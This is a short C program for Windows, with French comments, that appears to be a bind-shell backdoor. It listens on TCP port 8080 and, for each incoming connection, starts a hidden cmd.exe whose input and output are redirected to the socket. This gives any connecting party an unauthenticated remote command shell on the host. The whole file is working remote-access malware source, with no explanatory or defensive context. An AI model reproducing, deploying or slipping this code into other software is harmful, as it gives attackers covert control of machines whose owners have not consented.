#include <stdlib.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

 int main()
{ 
 
 HANDLE h;
 STARTUPINFO si;
 PROCESS_INFORMATION pi;

WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);

SOCKET serveur;	//Socket servant d'ecoute 
SOCKET sock;	//Socket servant pour la connexion

SOCKADDR_IN sinserveur;
SOCKADDR_IN sin;

 memset(&sin, 0, sizeof(sin));
 memset(&si, 0, sizeof(si));
 memset(&sinserveur, 0, sizeof(sinserveur));


sinserveur.sin_family=AF_INET;
sinserveur.sin_addr.s_addr=INADDR_ANY;
sinserveur.sin_port=htons(8080);

serveur=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); 

bind(serveur,(SOCKADDR *)&sinserveur,sizeof(sinserveur));

listen (serveur,1); 	//On ecoute & l'on accepte que 1 connect a la fois


while(1)
{
	Sleep(50);
	int	sinsize=sizeof(sin);
 sock=accept(serveur,(SOCKADDR *)&sin,&sinsize);

	if (sock != SOCKET_ERROR)
	{
	
 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESTDHANDLES;
 si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; //redirection du hStdOutput & hStdInput (des handles) vers le sock

 CreateProcess(
        NULL,
        "cmd.exe",
        NULL,
        NULL,
	  true,
        IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
		);
	}


}



  return 0;
  
}
